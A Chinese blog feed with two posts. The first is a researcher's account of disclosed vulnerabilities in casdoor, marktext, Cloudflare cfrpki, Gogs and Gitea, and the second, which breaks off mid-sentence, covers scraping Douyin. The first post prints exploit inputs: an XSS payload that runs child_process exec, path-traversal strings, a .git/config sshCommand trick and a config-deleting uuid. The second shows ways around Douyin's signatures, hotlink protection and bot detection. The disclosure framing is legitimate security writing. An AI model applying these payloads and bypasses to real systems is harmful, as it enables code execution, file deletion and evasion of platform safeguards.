<p>时间来到了去年年末十二月份,我突然对国外某产品的一个功能的代码实现很感兴趣,便去翻他们网站上关于此功能的设计文档。看完后暗自佩服的同时也在想这么大个公司会不会有啥洞呢?趁热打铁挖了一波,还真有!后面陆陆续续地交了这个公司的几个洞,小赚了一笔大的。<strong>但,依旧没有 CVE。</strong><br> <span class="heimu" onclick="()=>{}">(虽然到后面给补上了)</span></p> <p>后面我便转换了下思路,专盯着那些 stars 数很高的开源项目。时间来到一月下旬,当时公司在搞一套内部的统一鉴权系统(SSO),用于各项独立服务的登录鉴权。国内有很多仿照海外 Auth0 做的产品,但价格都太贵了。最后选择使用开源项目 casdoor (<a href="https://github.com/casdoor/casdoor">https://github.com/casdoor/casdoor</a>) 进行自建。casdoor 是基于著名 casbin 项目发展而来的,两者有着千丝万缕的关系。同时 casdoor 也是使用 Go 语言进行开发,我便试着白盒扫了下。好家伙,还真给我捡了漏了,扫到一处 SQL 注入。</p> <h2 id="cve-2022-24124-casdoor-sql-注入">CVE-2022-24124 casdoor SQL 注入</h2> <p>漏洞触发的原理很简单,有几个公开的 Web API 查询接口支持对表中任意字段的模糊查找,具体的代码实现是字段名直接从 <code>field</code> 的 Query 参数中传入,格式化字符串拼接进 <code>&quot;%s like ?&quot;</code> 语句,导致 <code>LIKE</code> 前面的内容可控,从而引发 SQL 注入。那这管你套啥 ORM,神仙也救不了你。 PoC 见 <a href="https://github.com/casdoor/casdoor/issues/439">#439</a></p> <p>官方修复的 PR 刚开始是用黑名单过滤字符,我 review 时<a href="https://github.com/casdoor/casdoor/pull/442#issuecomment-1019525206">直接给绕了</a>哈哈。我给的修复建议是用反射解析结构体里的字段,作为 <code>field</code> 参数的白名单进行过滤。官方后面觉得这样太复杂了,直接正则检验只能传入大小写 + 数字,给牢牢地限制死了。</p> <p>可惜的是我貌似是第一个给 casdoor 提交安全漏洞的人,官方以前并没有相关的漏洞处理流程。最后只能自己默默地去申请了 CVE 编号,CVE 下来的那天我还在回老家的车上,看到手机上收到的邮件兴奋地不得了。(但我其实更希望的是官方能主动帮我申请,也算是一种特别的感谢与肯定。)</p> <h2 id="cve-2022-24123-marktext-xss---rce">CVE-2022-24123 marktext XSS -&gt; RCE</h2> <p>在挖到 casdoor 的 SQL 注入之后的第二天,我微信上刷到了一篇文章,文章介绍的是在 Typora 收费后,作者说大家可以使用 marktext 这个开源免费的 Markdown 编辑器作为替代。想起之前 @Li4n0 挖到了 Typora 的 RCE,正巧这个 marktext 也是基于 Electron 实现的跨平台桌面应用,我也想来试试。 可惜我一看到 JavaScript 就头大,根本不想去认真审,随即胡乱地在翻着 marktext 的 issue。突然发现了这个长达一年之久的 issue <a href="https://github.com/marktext/marktext/issues/2504">#2504</a>。他里面提到 marktext 的 Mermaid 图表功能存在 bug,输入类似 HTML 的标签 <code>&lt;something_in_chevrons&gt;</code> 自动给闭合变成了 <code>&lt;something_in_chevrons&gt;some text&lt;/something_in_chevrons&gt;</code>。 我一看,好家伙,这不说明输入被当做 HTML 解析了嘛,这不妥妥的 XSS 嘛。我在 marktext 中把他 issue 里的标签内容改成 <code>&lt;img src=1 onerror=&quot;alert(1)&quot;&gt;</code>,直接就弹窗了。改成</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#7ee787">img</span> src<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">1</span> onerror<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;require(&#39;child_process&#39;).exec(&#39;open /System/Applications/Calculator.app&#39;)&#34;</span>&gt; </span></span></code></pre></div><p>直接弹计算器了。成了! 真的是白捡了一个 RCE,提给后官方很快就修了。但根据 marktext 之前几个 RCE 的 issue,最终都是漏洞提交者去申请了 CVE。所以我又只能自己去申请 CVE 编号,凄惨。</p> <p>后面我简单的跟了一下这个洞,发现是直接将 <code>innerHTML</code> 设置成用户输入导致的。后来全局搜索代码,也发现了一处同样的问题,不过读取的是用户剪贴板中复制的内容。想了下好像没啥能利用的可能,毕竟用户哪会傻到去复制一段自己都看不懂的奇怪代码进来。可是&hellip;&hellip; 就在我这个 CVE 公开的几天后,一个韩国老哥交了这个剪贴板复制导致 RCE 的洞,居然还被承认了!血亏啊!</p> <h2 id="与-cloudflare-的纠缠">与 Cloudflare 的纠缠</h2> <p>过年期间住在奶奶家的时候,晚上睡前会随便网上冲浪到处看看。那个时候我把 GitHub Advisory Database 里所有 Go 相关的历史漏洞信息全部爬了下来,整理成了一个 Excel 慢慢看,企图从中总结出一些 Go 相关漏洞的特点。看到之前 Iris 框架之前上传文件目录穿越的洞。漏洞的成因是 Iris 想修目录穿越,但只是用了很简单的分步 <code>strings.ReplaceAll</code> 进行替换,这个的绕过不用说了吧&hellip;&hellip; 双写一下就完事了:<code>....//</code>。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Fix an issue that net/http has,</span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// an attacker can push a filename</span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// which could lead to override existing system files</span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// by ../../$header.</span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Reported by Frank through security reports.</span> </span></span><span style="display:flex;"><span>header.Filename = strings.<span style="color:#d2a8ff;font-weight:bold">ReplaceAll</span>(header.Filename, <span style="color:#a5d6ff">&#34;../&#34;</span>, <span style="color:#a5d6ff">&#34;&#34;</span>) </span></span><span style="display:flex;"><span>header.Filename = strings.<span style="color:#d2a8ff;font-weight:bold">ReplaceAll</span>(header.Filename, <span style="color:#a5d6ff">&#34;..\\&#34;</span>, <span style="color:#a5d6ff">&#34;&#34;</span>) </span></span></code></pre></div><p>我看了真的觉得好笑,不会吧,不会吧!不会真有人这么防目录穿越吧?!全局搜了下,好家伙,还真有,还是大名鼎鼎的 Cloudflare。 他们在这个 <a href="https://github.com/cloudflare/cfrpki/commit/d09d0e2fc254f4bf46a743f2a6ee4768390d50cf#diff-ade3b3e84a33081676674368bd1c2fe8325ca5d13c770a6f0632614c43d09b8eR761">commit</a> 里修复了 CVE-2021-3907 这个下载文件时目录穿越可能导致 RCE 的高危漏洞。修复的方式也是很简单粗暴:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>path = strings.<span style="color:#d2a8ff;font-weight:bold">ReplaceAll</span>(path, <span style="color:#a5d6ff">&#34;../&#34;</span>, <span style="color:#a5d6ff">&#34;&#34;</span>) </span></span></code></pre></div><p>我按照 GitHub Advisory 下的指南给他们发送了邮件,几天后他们就给修了,并且发布了新的 <a href="https://github.com/advisories/GHSA-8459-6rc9-8vf8">GitHub Advisory</a>。我便发邮件多问了下能否在这个 GitHub Advisory 下给我的 GitHub 账号加个 Credit,这样我的 GitHub Profile 下面也有一个好看的小徽章了!</p> <p>对方隔了半个多月回邮件了,没直说不行,而是让我去 HackerOne 上再提交一波,然后给我 Bounty。可是&hellip;&hellip; 比起钱,我还是更想要这个好看的徽章,大家都有就我没有,我好没面子。 😭😭😭</p> <h2 id="开始使用-huntrdev">开始使用 huntr.dev</h2> <p>后来在 Twitter 上刷到了 huntr.dev 这个平台。他们的目标是提高 GitHub 上开源项目的安全性,只要提交 GitHub 上开源项目的漏洞,他们作为平台方就会帮你联系项目的开发者,并在漏洞确认后给予一定的 Bounty 奖励,甚至还能帮忙申请 CVE。给予的 Bounty 金额好像跟项目的 stars 数正相关。我查了下 Cardinal,发现交 Cardinal 的洞都能赚个 10 美刀。<del>那我自己往 Cardinal 里写洞自己交,左脚踩右脚是不是能上天?</del></p> <h2 id="cve-2022-0415-gogs-rce">CVE-2022-0415 Gogs RCE</h2> <p>恰好那段时间无闻邀请我进了 Gogs 的组织中,闲聊的过程中他也提到了 huntr,说最近有很多人通过这个平台给 Gogs 提交漏洞让他确认。huntr 现在也成为了 Gogs 项目推荐的漏洞上报方式。 就当熟悉 huntr 的提交流程了,我粗略地看了下 gogs 的源码,直接对着危险函数硬搜。(说是粗略也不是,之前写 CRUD 的时候项目结构都是借鉴的 Gogs,看了无数遍了)</p> <p>结果还真找到了一处 RCE。</p> <hr> <p>时间要回到大一下学期的暑假。我是个很懒的人,平时很少复现漏洞,除非那个洞的利用过程很吸引我,不然我就是看一眼网上复现的文章就结束。到目前为止我认真复现过的漏洞数量屈指可数。大一暑假的时候我看到土爷发了一篇复现 Gitea RCE (CVE-2019-11229) 的文章,其中的利用过程很巧妙: 通过 go-ini 库存在的 CRLF 漏洞,逃逸引号出来改写本地 Git 仓库的 <code>.git/config</code> 文件,通过设置 <code>core.sshCommand</code> 参数,在 Git 仓库被 pull 和 fetch 时,对应的命令将会被执行,从而达到 RCE 的目的。这个 <code>core.sshCommand</code> 的 trick 我到现在还在用,真的屡试不爽。如果以后有人问我印象最深的漏洞是哪个,我绝对会回答是这个!它吸引我的点在于,它在一个合法的正常的我们日常都在用的程序 (git)中找到了一个因为恶意的配置,导致可以 RCE 的操作。</p> <p>Gogs 的这处 RCE 最终的原理也是如此。我在文件上传处看到其从上到下是这样处理上传文件的路径的。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>dirPath <span style="color:#ff7b72;font-weight:bold">:=</span> path.<span style="color:#d2a8ff;font-weight:bold">Join</span>(localPath, opts.TreePath) </span></span><span style="display:flex;"><span><span style="color:#ff7b72;font-weight:bold">...</span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Prevent copying files into .git directory, see https://gogs.io/gogs/issues/5558.</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> <span style="color:#d2a8ff;font-weight:bold">isRepositoryGitPath</span>(upload.Name) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">continue</span> </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span><span style="color:#ff7b72;font-weight:bold">...</span> </span></span><span style="display:flex;"><span>targetPath <span style="color:#ff7b72;font-weight:bold">:=</span> path.<span style="color:#d2a8ff;font-weight:bold">Join</span>(dirPath, upload.Name) </span></span></code></pre></div><p>其中 targetPath 是最后文件写入的路径。后半段文件名 <code>upload.Name</code> 做了检测,防止复制文件进入 <code>.git</code> 目录,而前半段 <code>dirPath</code> 中的 <code>opts.TreePath</code> 是来自用户传入的可控参数,这个参数却没有被检测。所以我们在上传文件时构造 <code>tree_path=/.git/</code> 即可将文件上传至仓库的 .git 目录中,后续 Gogs 会本地 pull + push 我们的仓库,使用上面的 trick 覆盖 <code>/.git/config</code> 文件即可实现 RCE。当然,我们也可以直接 <code>tree_path=../../../xxx</code> 目录穿越写系统定时任务弹 Shell,利用的方法数不胜数。</p> <p>目前 Gogs 的 main 分支已经修复该漏洞,且在最新发布的 0.12.6 中得到修复。具体报告 huntr 已公开:<a href="https://huntr.dev/bounties/b4928cfe-4110-462f-a180-6d5673797902/">https://huntr.dev/bounties/b4928cfe-4110-462f-a180-6d5673797902/</a></p> <p>但离谱的是,在 huntr 提交报告时网页上已明确说明此项目会给申请 CVE。但直到漏洞确认修补后,huntr 官方也没动作。无奈我只能找 huntr 管理员,有趣的是这个管理员在 GitHub huntr 仓库提了个 <a href="https://github.com/418sec/huntr/issues/2194">issue</a>,抱怨每天都有一堆人找他手动申请 CVE,他想要一个自动化的方案,同时把所有找他申请 CVE 的人全截图挂在了 issue 下。对没错,我也被挂了。😡</p> <p><strong>但不管怎么说,我最终都如愿以偿地获得了第一个 GitHub Advisory Credit!感谢无闻老师!🥳</strong></p> <h2 id="cve-待申请-gitea-任意文件删除">[CVE 待申请] Gitea 任意文件删除</h2> <p>提交完这个 RCE 后,我第一时间肯定是去看 Gitea 是否存在类似的问题,可惜 Gitea 后面改成了直接对 git 的 Index 等进行操作,相当于直接操作 git 数据库了,不再是像 Gogs 一样本地模拟用户添加文件再 add + commit + push 的操作。 但我又想起 Gitea 喜欢整花活,啥有用没用的功能都往里面塞,比如它就支持 Git LFS。嘻嘻,这 LFS 你总得老老实实地上传文件了吧?可惜 Gitea 做了严格的过滤。 我又继续搜起了危险函数来,发现上传后的 LFS 文件 Gitea 都会对文件名做哈希,然后取文件名哈希前 1、2 位,3、4 位,建立目录,作为文件最终的存放路径。这种操作在很多包管理系统中都很常见,iOS 的 CocoaPods 就是这样的。 例如我们在 Gitea 上的文件名是 <code>48076e66a051950bd5cd7fc489924a5d67865dac</code>,那么它将被存放在 <code>48/07/48076e66a051950bd5cd7fc489924a5d67865dac</code> 下面。具体的代码实现是这样的:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">AttachmentRelativePath</span>(uuid <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">string</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> path.<span style="color:#d2a8ff;font-weight:bold">Join</span>(uuid[<span style="color:#a5d6ff">0</span>:<span style="color:#a5d6ff">1</span>], uuid[<span style="color:#a5d6ff">1</span>:<span style="color:#a5d6ff">2</span>], uuid) </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>那要是我传入一个文件名为 <code>....foo</code> 的 uuid,它是不是路径拼接后就把 <code>../../foo</code> 的文件给删了?确实是这样的捏~ 但是 LFS 文件的添加和修改接口,在操作前都会查询一遍数据库确保这个 uuid 存在。但对于删除操作,是 ORM 删除一下数据库的记录,然后再删除文件。Go ORM 的删除操作都一样的特性,根本不管你 <code>WHERE</code> 条件是否能查到记录进行删除,删了个寂寞也给你返回成功。最好在执行删除操作后再检查一下 <code>RowsAffected</code> 确认影响的行数。 所以通过构造 <code>....%2fcustom%2fconf%2fapp.ini</code> 这样的 uuid,我们就能轻松的删掉 Gitea 的配置文件。可惜只有在程序重启后才会触发重新安装的操作。删除了 SQLite 的数据库也只是给你 500 报错而已。目前倒是没想到很好的利用方式。</p> <p>具体报告 huntr 已公开:<a href="https://huntr.dev/bounties/c5ed8660-a896-4101-b6a7-05772443485b/">https://huntr.dev/bounties/c5ed8660-a896-4101-b6a7-05772443485b/</a></p> <p>令我不开心的是,Gitea 明明在报告中表明要在博客文章中对我进行感谢,且询问了我的用户名,但是在最终发布的文章中却漏了。我在报告中询问后他们提了个 PR 说会补上,但是这个 PR 现在就卡在那里没人 review 没人合;以及 huntr 说的帮申请 CVE 到现在也没消息。</p> <h2 id="最后说几句">最后说几句</h2> <p>所以这不欺负老实人嘛?直到现在,挖了这么多洞之后,我都没能有一次畅快的经历。 CVE 得我自己申请,官方的感谢要不是没有,就算有了最后也给漏了。然后 Cloudflare,加个 GitHub Advisory Credit 是会判刑还是怎么?同一个项目中,别人有我就没有。交了 Hackerone 还跟我掰扯半天问我为啥能 RCE,你之前那个洞不是自己定的高危 RCE 然后自己没修好嘛?好家伙双标是吧? 啊对对对,我承认我就是追名逐利,就看中这些虚无缥缈的感谢啊,徽章啊。这些就是我跟别人瞎吹逼的资本,所以我在意。</p> <p>嘛,接下来有空的时候会去尝试做更有效率的开源软件漏洞挖掘,不想再像上面那些纯靠运气成分或人工肉眼看了。现在脑子里其实已经有一些酷炫的想法想要去做了,奈何自己太菜了还有不少前置知识得去学习的。不过至少,今年跨年定的年度目标:获得人生中第一个 CVE 编号,以及今年 Bug Bounty 总金额超过 <del>[已删除]</del> 元这两个目标已经提前圆满完成了。</p>斗智斗勇!分享 asoul.video 网站背后的故事https://github.red/asoul-video-trick/Sun, 28 Nov 2021 05:27:57 +0800https://github.red/asoul-video-trick/<h2 id="a-soul-时代">A-SOUL 时代</h2> <p>我在今年六月份的时候被室友安利了关注了嘉然,进而得知了 A-SOUL。起初只是觉得这个粉色小东西的声音好听,不嗲不做作;动捕也十分强大,是个资本拿钱砸出来的 Vtuber。</p> <p>后来我陆陆续续刷到了很多一个魂们整的典中典。突发恶疾的视频让我笑到断气,溜完视频后又直奔评论区看发病小作文。还有很多三句剪一句的二创,弹幕也各个是人才。我也学着评论里奇怪的说话方式,发着带有特殊意义的 emoji。</p> <p>卖惨的时候一口一个我要紫砂 remake,看到跳舞就刷烧、风情 + 🥵,唱日文歌就刷够罕见,不许看!就要看!我不好说,一个猜想不一定对,谢谢这对贝极星很重要,收到收到收到,给然然盖被子,大腿别着凉了捏,不对啊,我不曾拥有过然然啊!</p> <p>—— 属实给我玩明白了。</p> <p>我尤其喜欢看 A-SOUL 的土味短视频,后面得知这是发在 A-SOUL 成员抖音账号上的,每个视频时间短,无厘头,甚至没有个完整的剧情。但是毕竟是正儿八经拍的,动捕、收音、运镜都比直播要好些,想一次看个够。因此我在想能否写个站来汇总所有的土味短视频,实时更新,让我看个爽。</p> <p>因此,asoul.video 诞生了。</p> <p>在开发 asoul.video 的过程中,我遇到了很多有趣的问题,大部分问题是围绕抖音与字节跳动的风控相关,自己钻研了很久也总算找到了 bypass 的办法,其中有不少可圈可点的地方,让我们一步步展开&hellip;&hellip;</p> <h2 id="抓取抖音短视频">抓取抖音短视频</h2> <p>一开始我选择了抖音网页版的接口进行抓取,谁知网页版接口请求的构造十分复杂。开局两个混淆的 JS,一个是字节通用的反爬虫,一个是混淆的乱七八糟貌似还套了个虚拟机的抖音网页版 JS。 我是没耐心去一点点逆了。上网搜了下,发现了:</p> <pre tabindex="0"><code class="language-URL" data-lang="URL">https://www.iesdouyin.com/web/api/v2/aweme/post/ </code></pre><p>这样一个简单的 API,无脑返回视频元信息 + 视频播放链接。只需要无脑替换 <code>cursor</code> 遍历所有的视频爬取下来即可。一切来得太过于容易,让我对其产生了怀疑。这也导致我后面去逆了这个接口<strong>以前</strong>所需要的签名算法。</p> <h2 id="逆向抖音虚拟机然并卵">逆向抖音虚拟机(然并卵)</h2> <p>上述提到的接口,在今年年初的时候,是需要带上 <code>_signature</code> 参数才能正常访问,但现在不知为何不带签名也行。所以其实逆了个寂寞,就当学新东西了。</p> <p><code>_signature</code> 的原始 JavaScript 代码见:<a href="https://github.com/wuhan005/douyin_signature/blob/master/vm.js" title="vm.js">vm.js</a> 网上大多都是使用 NodeJS + jsdom 运行计算。</p> <p>其实这个 JavaScript 并不困难,其本质上是用 JavaScript 实现了一个基于栈的虚拟机,最下方的那一堆乱七八糟的字符串就是该虚拟机的机器码。上面有一个长长的 for,里面有多个 case,就是不同操作的 Opcode。</p> <p>就拿开头的 <code>gr$Date</code> 这一段来说,第一个字符 <code>g</code>,将其 ASCII 码减去 32 即为对应的 Opcode,即 103 - 32 = 71。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">71</span><span style="color:#ff7b72;font-weight:bold">:</span> </span></span><span style="display:flex;"><span> v[x<span style="color:#ff7b72;font-weight:bold">++</span>] <span style="color:#ff7b72;font-weight:bold">=</span> n; </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">break</span>; </span></span></code></pre></div><p>其中 v 是我们虚拟机的栈,x 是栈顶指针,n 就是代码前面声明的 <code>var n = this;</code>。所以这一个指令的意思就是将 <code>this</code> PUSH 入栈。</p> <p>第二个指令 <code>r</code>,同样将其 ASCII 码减去 32,得到 82。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">82</span><span style="color:#ff7b72;font-weight:bold">:</span> </span></span><span style="display:flex;"><span> u(v[<span style="color:#ff7b72;font-weight:bold">--</span>x][f()]); </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">break</span>; </span></span></code></pre></div><p>乍一看,语义上就是将 v 中栈顶元素弹出(假设这个元素是 X),然后取 X 这个东西的 <code>f()</code> 属性的值,再把这个东西放到 <code>u()</code> 函数里执行。那 <code>f()</code> 和 <code>u()</code> 是干啥的呢?</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#ff7b72">function</span> u(e) { </span></span><span style="display:flex;"><span> v[x<span style="color:#ff7b72;font-weight:bold">++</span>] <span style="color:#ff7b72;font-weight:bold">=</span> e </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">function</span> f() { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> g <span style="color:#ff7b72;font-weight:bold">=</span> t.charCodeAt(b<span style="color:#ff7b72;font-weight:bold">++</span>) <span style="color:#ff7b72;font-weight:bold">-</span> <span style="color:#a5d6ff">32</span>, </span></span><span style="display:flex;"><span> t.substring(b, b <span style="color:#ff7b72;font-weight:bold">+=</span> g) </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p><code>u()</code> 就是简单的 PUSH 元素入栈操作。</p> <p><code>f()</code> 从底下那堆乱七八糟的机器码里面读取一个字符,获取其 ASCII 码并减 32,然后对机器码做字符串截取,长度就是刚刚读取的数值的长度。所以就很明了了,<code>f()</code> 就是从当前机器码中读取一个长度,然后向后截取这么长的字符串。 下一个 <code>$</code> 的 ASCII 码减 32 等于 4,所以向后截取 4 个字符,也就是 <code>Date</code>。</p> <p>所以综上,就是将 <code>this['Date']</code> PUSH 入栈,也就是拿到了 JavaScript 里获取时间日期的 <code>Date</code> 函数。 怎么样,是不是还算容易理解?所以 <code>gr$Date</code> 这一段机器码的干的事情就是把 <code>this.Date</code> 函数 PUSH 入栈。后面的话其实还会执行这个 <code>Date()</code> 函数获取当前时间等等。</p> <p>我们只需要在每个 case 分支下,<code>console.log</code> 打印一下当前执行的指令的序号,以及内容,还有上下文的变量。对着运行后的 log 慢慢分析,就能看懂上面的代码他做了什么。</p> <p>逆向后的代码见 <a href="https://github.com/wuhan005/douyin_signature/blob/master/douyin_signature.js" title="douyin_signature.js">douyin_signature.js</a> 大致原理为获取当前时间与浏览器 UA,然后对每个字符都放入那个循环里跑一遍即可。 其中用到的反爬虫手段,是过程中会调用浏览器的 Canvas API 进行作图,并在图片中写上 <code>龘ฑภ경</code> 这些个很复杂的文字,并将 Canvas 画出来的图作为常数用在循环中。如果你只是简单地使用 NodeJS 环境而非浏览器来运行,就会因为 Canvas API 返回 NULL 而计算出不一样的结果。 因为每次画的图片都是一样的,其得出常数也就都是一样的 <code>311735490</code>,我在浏览器中运行跑过一次后,将这个常数直接放进逆向后的代码中即可。</p> <p>不管怎么说,至少学到了新东西。这套过时的虚拟机也可以试着改进下,放到公司的产品中进行反爬虫的风控。届时就牵扯到如何将 JavaScript 正向编译成虚拟机的机器码了。</p> <h2 id="获取视频--封面图片直链">获取视频 + 封面图片直链</h2> <h3 id="简简单单去个视频水印">简简单单去个视频水印</h3> <p>通过上述接口获取到的抖音视频链接,在 <code>play_addr.url_list</code> 与 <code>download_addr.url_list</code> 这两个字段下。其中 <code>play_addr.url_list</code> 带有一堆密密麻麻看不懂的参数,保不齐其中哪个就是一个签名,过了一定时间后链接就失效了。 因此我选择 <code>download_addr.url_list</code> 中的较短的视频链接。但该视频链接的视频是加了抖音水印的,很影响观感,那么怎么去水印呢? 链接形如:</p> <pre tabindex="0"><code>https://aweme.snssdk.com/aweme/v1/play/?video_id=v0200fg10000c6c9rq3c77u5tkbhogq0&amp;line=0&amp;ratio=540p&amp;watermark=1&amp;media_type=4&amp;vr_type=0&amp;improve_bitrate=0&amp;logo_name=aweme_search_suffix&amp;source=PackSourceEnum_DOUYIN_REFLOW </code></pre><p>相信聪明的你应该已经看出来了,我们将 URL 中的 <code>watermark=1</code> 改为 <code>watermark=0</code>,或者直接去掉,水印就没了。😅 去掉多余参数,整理后的视频链接为:</p> <pre tabindex="0"><code>https://aweme.snssdk.com/aweme/v1/play/?video_id=v0200fg10000c6c9rq3c77u5tkbhogq0 </code></pre><p><code>video_id</code> 即为视频元信息里的视频 ID,访问 URL 后会 302 跳转到实际的播放链接。</p> <h3 id="简简单单绕个图片签名">简简单单绕个图片签名</h3> <p>而对于视频封面,分为 <code>cover</code> 和 <code>dynamic_cover</code> 两种。经调研发现,有些视频的封面是动态的,此时应该优先选择 <code>dynamic_cover</code>,我后面对此其实也做了处理。</p> <p>封面图片的 URL 形如:</p> <pre tabindex="0"><code>https://p3-sign.douyinpic.com/obj/tos-cn-i-dy/a2f41e36a417460ab810bca8e3b9ed6d?x-expires=1639249200&amp;x-signature=ej7Hp%2FsixjRdAHuUo%2FQst7XDsyY%3D&amp;from=4257465056_large </code></pre><p>可以看到其中有 <code>x-expires</code> 参数来标明图片过期的时间戳,过期时间约为两周。而 <code>signature</code> 则是对图片 URL Query 参数的签名,签名不对则返回 403。我们无从得知签名的计算方式,也就无法修改图片过期时间。</p> <p>那&hellip;&hellip; 应该怎样绕过签名拿到永久图片链接呢? 我发现该 URL 的子域为 <code>p3-sign</code>,<code>p3</code> 肯定是相应的 CDN 机房或节点,后面的 <code>-sign</code> 是不是签名的意思?如果去掉呢?</p> <p>我将子域中的 <code>-sign</code> 去掉,得到</p> <pre tabindex="0"><code>https://p3.douyinpic.com/obj/tos-cn-i-dy/a2f41e36a417460ab810bca8e3b9ed6d </code></pre><p>还真能直接访问,这下拿到图片永久链接了捏 😅</p> <p>真的离谱,我怀疑内部有人在开摆。</p> <h2 id="bypass-抖音视频防盗链">Bypass 抖音视频防盗链</h2> <p>asoul.video 的前端使用 Vue 框架编写,并使用 <code>vue-video-player</code> 在前端播放视频。 但实际过程中,我发现抖音的视频链接其实是有防盗链的。当前端浏览器带上 <code>https://asoul.video/</code> 的 Referer 去访问时,直接就 403 被拦了。</p> <p>但是&hellip;&hellip; 在不带 Referer 头时,视频是可以正常访问的,也就是相当于我们直接在浏览器中访问对应的 URL。那这就简单了,在页面中加入该 meta 标签</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#7ee787">meta</span> name<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;referrer&#34;</span> content<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;never&#34;</span>&gt; </span></span></code></pre></div><p>直接所有请求都不发送 Referer,这样就 bypass 了抖音视频的防盗链。但这里我们其实做的有点绝,禁止了所有请求的 Referer,导致相关统计服务比如 Google Analytics 也获取不到访客来源数据了,可以设置 <code>content=&quot;same-origin&quot;</code>,来允许仅在同源请求下发送 Referer 头。</p> <h2 id="无头之殇--抓取抖音短视频评论">无头之殇 —— 抓取抖音短视频评论</h2> <p>A-SOUL 枝网小作文查重通过抓取 A-SOUL 五人 bilibili 账号下的评论来做数据分析。因此我也想能否抓取 A-SOUL 抖音视频下的评论,当然我并不会也去做个查重,只是单纯的多加点功能好看些。 可惜抖音视频的评论并没有上述那种即开即用的接口,我最终选择了通过抖音 Web 版抓取数据。文章开头提到,抖音 Web 版有着极其严苛的风控机制,逆它那个 JS 我是没这个时间,也没这个本事。 所以便投机取巧,操作无头浏览器来进行页面内容的抓取。</p> <p>我使用 Go <a href="https://github.com/go-rod/rod" title="https://github.com/go-rod/rod">https://github.com/go-rod/rod</a> 库,启动浏览器访问视频播放页,模拟下拉操作不断滚动刷新评论区,hook 评论 API 返回的 JSON 内容,解析后入库。 go-rod 默认是使用 Chromium 而非 Chrome 来启动,其下载的 Chromium 连视频播放控件似乎都不支持,但当时我没多想。后续发现 Chromium 经常一打开视频页,页面就自动退出了,然后程序就 panic 了,即使我加载了 rod 的反机器人检测插件 <a href="https://github.com/go-rod/stealth" title="https://github.com/go-rod/stealth">https://github.com/go-rod/stealth</a> 也毫无作用。但是换成 Chrome 就很很稳定的访问抓取。</p> <p>后来我在 GitHub 上看到有大佬基于 AST 对抖音 Web 端的 JavaScript 做了一些去混淆,这才使我能管中窥豹,看到其逆天的风控能力——除了 Canvas 以外,抖音还会检测各种浏览器 API,从普通的 localStorage 是否正常,到窗口大小,像素深度;再到一些冷门 API,比如蓝牙,定位,RTC 等功能。甚至还会去检测浏览器是否支持 ActiveX 控件。综上所有的特征得出当前运行环境是否正常。 好家伙,能想到的几乎都给他查完了,还是让 rod 窗口化起个 Chrome 吧。</p> <h2 id="让女孩们始终绽放笑颜">让女孩们始终绽放笑颜!</h2> <p>asoul.video 的前端使用 Vuetify 框架,每个视频其实都是一个 v-card 控件展示视频封面。原本抖音视频的图片封面是长方形的,但这里经过裁剪变成了正方形,导致图片中 A-SOUL 小姐姐们的头经常会被截掉。<span class="heimu" onclick="()=>{}">(珈乐:诶,我会歪脖)</span></p> <blockquote> <p>得让小姐姐们的笑脸永远处于画面的正中央!</p></blockquote> <p>因此,我决定想办法对大约 500 个视频封面中的动漫人物面部进行标注,将面部坐标入库,前端显示时根据面部坐标以及展示的图片大小对图片位置进行偏移即可。 500 